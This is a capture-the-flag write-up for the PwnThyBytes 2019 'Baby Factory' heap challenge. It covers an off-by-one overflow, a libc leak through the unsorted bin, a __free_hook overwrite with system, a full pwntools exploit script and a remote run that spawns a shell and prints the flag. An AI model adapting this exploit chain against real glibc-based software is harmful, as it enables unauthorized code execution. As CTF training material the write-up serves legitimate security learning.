[Pwn] PwnThyBytes 2019 - Baby Factory

Baby Factory
100

Author: FedEx

In order to keep the world perfectly balanced, as all things should be, we’ve designed a management system.

Don’t forget, with great power comes great responsability!

Prove yourself worthy.

nc 137.117.216.128 13373

Download

Another heap challenge, libc-2.23 is used so no tcache on this version .

1
2
$ file babyfactory
babyfactory: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e40dbc48ecfd16e9c12a93c42520cf9f85e2671b, stripped

With this we know:

  • ELF compiled for x86_x64 architecture.
  • Dynamically linked.
  • Stripped (A little bit harder to reverse).

As usual the next thing is to check the security of the binary

1
2
3
4
5
6
7
$ checksec babyfactory
[*] '/ctf/pwnthybytes2019/pwn/babyfactory/babyfactory'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Brief analysis of these protections:

  • FULL RELRO (GOT entries are read only we can’t overwrite them)
  • STACK CANARY (The stack is protected with the canary if there is a stack overflow we need to find a way to leak it)
  • The Stack is not executable (We can’t execute shellcode, techniques like ROP can bypass this)
  • PIE (Position Independent Executable) is on (If we want to use rop we need a way to leak the base address)

Testing the binary

The binary comes with the usual options on a normal heap challenge, create, edit,lists and eliminate.

Let’s start by doing static analysis on create and edit:

Delete doesn’t have any kind of vulnerability so no double free or use after free possible, print will show every allocated object, create is limited to 7 mallocs because of variable at piebase+0x202024 this variable increases at each allocation and goes up to 7, after that no more allocations are allowed and the string “Too many, sorry” is shown.

Exploit

We have some limitations on the allocation sizes we can only do 0x68,0x69 and 0x10, because of this all the chunks when freed will fall into fastbin range.

We can use off by one vulnerability to overflow the size of a chunk to be able to get a greater sized chunk ultrapassing the fastbin range (0x81), this is useful to get a chunk into an unsorted bin to get a leak of a libc address.

We can also use this to manage to get arbitrary write by changing the pointer of char* name to the address we want for example free_hook and update its value into system to get a shell.

The memory layout on the heap will be a little weird because of the created struct, malloc(0x10) stores the pointers/values of objects of the struct xpto.

Normally, when programming in c we do malloc(sizeof(struct xpto)), sizeof(struct xpto) is equal to 0x10 and why? char* pointer and long integer are “objects” of the struct, the memory needed to store this objects are 0x8 for the char* and 0x8 for the long int this makes 0x8+0x8=0x10.

This the view of a struct object in memory:

The plan is:

  • Malloc “boy chunk” A,B and C and set day to -1(0xfffffffff).
  • Edit will think A is a “girl chunk” we can use this to overflow the size of chunk B with 0x91.
  • Free chunk B (To achieve success on freeing this a fake chunk needs to be created at chunk B(name)) chunk will be inserted into unsorted bin updating fd and bk with libc addresses.
  • Next malloc will be placed right above of the freed chunk(chunk_overlap).
  • Leak libc with print.
  • Overflow again the size of 0x21 but this time to 0x71 by editing chunk A again.
  • Freeing chunk B will put this into a fastbin.
  • Use next boy allocation to update the new 0x21 chunk to 0x71 to prevent errors from security check for the next malloc.
  • Next allocated “boy chunk” will be placed right at the char* name pointer of chunk B, modify it with free_hook pointer.
  • By editing chunk B we will write into the char* name pointer which got modified previously by us into free_hook set it into system.
  • Edit chunk A data into ‘/bin/sh\x00’
  • Free chunk A to Trigger free_hook and get a shell.

Off by One

Lets start by allocate 3 chunks with

1
2
3
add(1,'A'*0x8, 0xffffffff) # 0
add(1,'B'*0x8, 0xffffffff) # 1
add(1,"C"*0x8, 0xffffffff) # 2

Now we want to overwrite chunk B(0x21) size to 0x91 this way we can make this chunk into unsortedbin range:

1
edit(0x0, '\x91'*0x69)

Lets see what happens when we free this chunk:

1
free(1)

Now lets malloc

1
add(1,'\xb0', 0xffffffff) # 1

Now we can get libc address from index 1:

1
2
3
4
5
6
7
8
9
list()
r.recvuntil('[1] GIRL= ')
addr = u64(r.recv(6).ljust(0x8,'\x00'))
LIBC = addr-0x3c4bb0
FREE_HOOK = LIBC+libc.symbols['__free_hook']
SYSTEM = LIBC+libc.symbols['system']
log.info("LEAKED 0x%x", addr)
log.info("LIBC 0x%x", LIBC)
log.info("FREE_HOOK 0x%x", FREE_HOOK)

Now it’s time to overflow chunk B again but this time to 0x71 and free it:

1
2
edit(0x0, '\x71'*0x69)
free(1)

This is what happens if we don’t create that fake chunk at that location:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ root@ptb:/ctf/work/pwn/babyfactory# python babyfactory.py
[*] '/ctf/work/pwn/babyfactory/babyfactory'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './babyfactory': pid 8668
[*] LEAKED 0x7f0f80e67bb0
[*] LIBC 0x7f0f80aa3000
[*] FREE_HOOK 0x7f0f80e697a8
[*] Switching to interactive mode
*** Error in `./babyfactory': free(): invalid next size (fast): 0x000055b286da70a0 ***

Next size is zero making it an invalid size lets check the code in malloc.c:

Lets fix this by adjusting in the beginning of our script:

1
2
3
add(1,'A'*0x8, 0xffffffff) # 0
add(1,p64(0)*9+p64(0x71), 0xffffffff) # 1
add(1,"C"*0x8, 0xffffffff) # 2 separate the released chunk from the top chunk.

Now free will work and we get this :

Now next malloc:

1
add(1, p64(0)+p64(0)+p64(0)+p64(0x71),0xffffffff) # 1

As explained in the picture above p64(0)+p64(0)+p64(0)+p64(0x71) to bypass this security check:

Remember fastbin(0x70) is something like this right now:

1
0x70: 0x5620cb07a0b0 —▸ 0x5620cb07a0a0 ◂— 0x0

Remember before we exchanged the size to 0x91 the old size was 0x21 this means that this was place that stored the pointers of the structure which means if we modify the first field of this chunk we will change the pointer of char* name into free_hook next edit will write directly into free_hook giving us an arbitrary write free of security checks:

1
add(1, p64(FREE_HOOK),0xffffffff) # 3

The look of the heap before the 1st pointer gets updated to free_hook:

The look after update to free_hook occurs:

Now setting free_hook into system putting “/bin/sh” into index 0 , by freeing index 0 we trigger free_hook and get a shell:

1
2
3
edit(1, p64(SYSTEM))
edit(0,"/bin/sh\x00")
free(0)

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
host, port = "137.117.216.128", "13373"
filename = "./babyfactory"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.23.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)

def add(obj, name, day):
r.sendlineafter('[5] Abandon Baby\n > ','1')
r.sendlineafter('[2] Girl \n > ',str(obj))
r.sendafter('Enter Name: ', name)
r.sendlineafter('Enter Day: ', str(day))

def edit(index, name):
r.sendlineafter('[5] Abandon Baby\n > ','2')
r.sendlineafter('Enter Baby IDX: ', str(index))
r.sendafter('Enter new name: ', name)

def list():
r.sendlineafter('[5] Abandon Baby\n > ','3')

def free(index):
r.sendlineafter('[5] Abandon Baby\n > ','4')
r.sendlineafter('Enter Baby IDX: ', str(index))

context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xc7b,0x1072]) # malloc 0xc7b malloc 0xc88 free 0x1072 edit 0xf92
add(1,'A'*0x8, 0xffffffff) # 0
add(1,p64(0)*9+p64(0x71), 0xffffffff) # 1
add(1,"C"*0x8, 0xffffffff) # 2 separate the released chunk from the top chunk.

edit(0x0, '\x91'*0x69)
free(1)


add(1,'\xb0', 0xffffffff) # 1
list()
r.recvuntil('[1] GIRL= ')
addr = u64(r.recv(6).ljust(0x8,'\x00'))
LIBC = addr-0x3c4bb0
FREE_HOOK = LIBC+libc.symbols['__free_hook']
SYSTEM = LIBC+libc.symbols['system']
log.info("LEAKED 0x%x", addr)
log.info("LIBC 0x%x", LIBC)
log.info("FREE_HOOK 0x%x", FREE_HOOK)
edit(0x0, '\x71'*0x69)
free(1)

add(1, p64(0)+p64(0)+p64(0)+p64(0x71),0xffffffff) # 1
add(1, p64(FREE_HOOK),0xffffffff) # 3
edit(1, p64(SYSTEM))
edit(0,"/bin/sh\x00")
free(0)

r.interactive()
r.close()

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python babyfactory.py REMOTE
[*] '/ctf/pwnthybytes2019/pwn/babyfactory/babyfactory'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/pwnthybytes2019/pwn/babyfactory/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 137.117.216.128 on port 13373: Done
[*] LEAKED 0x7fec914ecbb0
[*] LIBC 0x7fec91128000
[*] FREE_HOOK 0x7fec914ee7a8
[*] Switching to interactive mode
$ cat home/babyfactory/flag
PTBCTF{d516da8f4726509484aa98eabd8e095f}